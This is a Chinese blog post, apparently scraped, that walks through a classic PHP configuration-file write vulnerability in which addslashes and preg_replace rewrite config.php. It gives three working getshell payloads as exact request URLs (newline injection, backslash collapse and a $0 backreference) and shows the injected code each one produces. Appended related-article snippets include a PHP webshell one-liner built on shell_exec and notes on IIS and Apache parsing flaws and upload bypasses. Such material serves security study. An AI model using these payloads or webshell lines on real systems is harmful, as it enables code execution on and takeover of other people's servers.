PHP配置文件经典漏洞

phithon师父在小蜜圈里放了一个经典的配置文件写入问题漏洞.

<?phpif(!isset($_GET[‘option‘])) die();$str = addslashes($_GET[‘option‘]);$file = file_get_contents(‘./config.php‘);$file = preg_replace(‘|\$option=\‘.*\‘;|‘, "\$option=‘$str‘;", $file);file_put_contents(‘./config.php‘, $file);

config.php 的内容如下:

<?php$option=‘test‘;

要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。

此处不存在之前说的那个配置文件中用的是”双引号”引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.

方法一,利用换行符来绕过正则匹配的问题

可以看到正则匹配的是以下内容:

$option=‘任意内容‘

任意内容里面是可以包含转移符 \ 的,所以我们利用下面的方法:

http://127.0.0.1/index.php?option=a‘;%0aphpinfo();//http://127.0.0.1/index.php?option=a

执行完第一个之后,config.php中的内容为:

<?php$option=‘a\‘;phpinfo();//‘;

但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内.

我们在访问下面这个

http://127.0.0.1/index.php?option=a

因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:

<?php$option=‘a‘;phpinfo();//‘;

转义符就被替换掉了,就成功的getshell.

方法二,利用 preg_replace函数的问题:

用preg_replace()的时候replacement(第二个参数)也要经过正则引擎处理,所以正则引擎把\\转义成了\

也就是说如果字符串是\\\‘,经过 preg_replace()的处理,就变为 \\‘,单引号就逃出来了.

所以payload如下:

http://127.0.0.1/index.php?option=a\‘;phpinfo();//

config.php变为:

<?php$option=‘a\\‘;phpinfo();//‘;

道理就是  a\‘;phpinfo();//  经过 addslashes()处理之后,变为a\\\‘;phpinfo();// 然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.

方法三, 利用 preg_replace() 函数的第二个参数的问题

先看官方对preg_replace()函数的描述manual

函数原型:

xed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

对replacement的描述.

replacement中可以包含后向引用\\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\\0和$0代表完整的模式匹配文本。

所以我们可以用:

http://127.0.0.1/test/ph.php?option=;phpinfo();http://127.0.0.1/test/ph.php?option= 或者 http://127.0.0.1/test/ph.php?option=$0

执行第一条后config.php的内容为:

<?php$option=‘;phpinfo();‘;

再执行第二条后config.php的内容为:

<?php$option=‘$option=‘;phpinfo();‘;‘;

刚好闭合掉了前后的两个单引号中间的逃脱出来了.想出这个办法的人,思路真是可以的.

时间: 2024-10-26 19:56:37

PHP配置文件经典漏洞的相关文章

dedecms5.7最新漏洞修复

最近发现织梦cms被挂马现象频繁,解决好好几个网站的问题,但是过不了多久,就又被攻击了,即使更改系统及ftp密码,也没有起到防御的作用,最后怀疑cms本身漏洞,于是采用工具扫描了一下,才发现问题的严重性,在这里发一下解决办法,也希望采用织梦cms的童鞋,尽快升级补丁. 1.修复:[高危]DedeCMS最新SQL注入漏洞 修复方法:1)下载补丁:http://updatenew.dedecms.com/base-v57/package/patch-v57&v57sp1-20130607.zip 2

上传漏洞

解析漏洞 IIS 解析漏洞 IIS6.0 存在两个漏洞: 1.当建立*.asa,*.asp格式的文件夹时,其目录下的任意文件都被IIS当作asp 文件解析 2.当文件为*.asp;1.jpg 时,IIS同样会以ASP脚本来执行 ---经典漏洞:WebDav Apache 解析漏洞 Apache在解析文件时,当碰到不认识的扩展名时,会从后向前解析,直到碰到的扩展名为止,如都不认识,将会暴露其源码. PHP CGI 解析漏洞 / Nginx 解析漏洞 一句话木马: PHP: <?php @eval(

小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(三)-文件上传漏洞

手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshell 修改文件类型上传webshell 文件头,扩展名 修改扩展名上传webshell 静态解析文件扩展名时可能无法执行 文件头让偶过滤上传webshell 上传目录权限 正常上传 当可以上传一个页面文件或一句话木马等时,则可验证存在该漏洞 #低安全级别 绕过:可截包重放,修改上传文件大小等限制 #中等级别

书评第003篇:《0day安全:软件漏洞分析技术(第2版)》

本书基本信息 丛书名:安全技术大系 作者:王清(主编),张东辉.周浩.王继刚.赵双(编著) 出版社:电子工业出版社 出版时间:2011-6-1 ISBN:9787121133961 版次:1 页数:753 字数:780000 印刷时间:2011-6-1 开本:16开 纸张:胶版纸 印次:1 包装:平装 书籍封面 内容简介 本书分为5篇33章,系统.全面地介绍了Windows平台缓冲区溢出漏洞的分析.检测与防护.第一篇为漏洞exploit的基础理论和初级技术,可以引领读者迅速入门:第二篇在第一篇的

代码审计之逻辑上传漏洞挖掘

0×00 前言 话说一个人的快乐,两个人分享就成为两份快乐,这个我看未必吧,倘若分享与被分享的两者之间是情敌关系,而分享者快乐的原因恰好是… 哈哈,不说了,都懂的; BUT, 倘若一个技巧被分享出来,那么受益的人我坚信肯定远远不只两个,所以我们更应该学会的是–分享! Today,简单说说漏洞挖掘中由逻辑缺陷造成的文件上传漏洞. Tips:传统的MIME验证.客户端js验证.黑名单验证.解析漏洞等这些都比较简单,不在我们讨论的范围内. 0×01 程序员对某些常用函数的错误认识 这些函数有:empt

3. 中间件安全基础(三)

0x00 前言 前两篇文章我们对六款中间件的基本信息和相关的安全配置做了介绍,这篇文章我们主要就中间件常见的漏洞利用方式及修复方法做出讲解.如果某些地方存在疑问可以对比着前两篇文章阅读,更好地加深理解. 0x01 Apache 解析漏洞是指非程序文件被异常解析为程序文件的漏洞,利用这种漏洞可以绕过一些安全检测从而获取webshell,Apache和IIS的解析漏洞是较为经典的漏洞场景. Apache 在Apache 1.x和Apache 2.x中存在解析漏洞,它的利用形式如图所示 可以看到图中访

ret2dir:Rethinking Kernel Isolation(翻译)

前一段时间在网上找ret2dir的资料,一直没找到比较系统的介绍,于是干脆把这篇经典的论文翻译了,当然,第一次翻译(而且还这么长),很多词汇不知道到底该怎么翻译,而且最近事情也比较多, 翻译得挺烂的,如有错误,请指正. 后续如果有机会也会分享一些关于ret2dir利用的一些理解,和使用技巧. 翻译 by JDchen2016年12月7日 摘要 Return-to-user(ret2usr)攻击将被破坏的内核指针重定向到用户空间.为了获得一个更严格的地址空间隔离以应对这种攻击,我们采取一些内核加固

字符串处理函数(strcat、strcpy等)为什么要返回值

这样做的目的是方便程序中语句内联,比如strlen(strcpy(s,t)). 为了实现链式操作,将目的地址返回 int lengh=strlen(strcpy(s,t)). Strcpy函数可以作为另外一个函数的实参. char * strcpy( char *strDest, const char *strSrc ) { assert( (strDest != NULL) && (strSrc != NULL) ); char *address = strDest; while( (*

网络安全系列之三 搭建Web渗透平台(ASP)

在学习或是讲授网络安全方面的课程时,最大的麻烦就是如何设置各种实验.若是找真实的网站练手,一方面有漏洞的网站已经很难找了,另一方面即使能找到存在漏洞的网站,那也存在法律方面的风险,所以最好的途径还是自己来搭建实验环境. 在实验环境中,系统平台当然还是选择VMWare+Win2003(Win2003是进行网络安全方面实验的首选操作系统):困难在于渗透平台怎么解决?渗透平台要包括Web服务器和漏洞网站两部分.经过在51cto一番翻箱倒柜之后,终于找到了解决的方法.在这里先介绍如何搭建一个ASP的We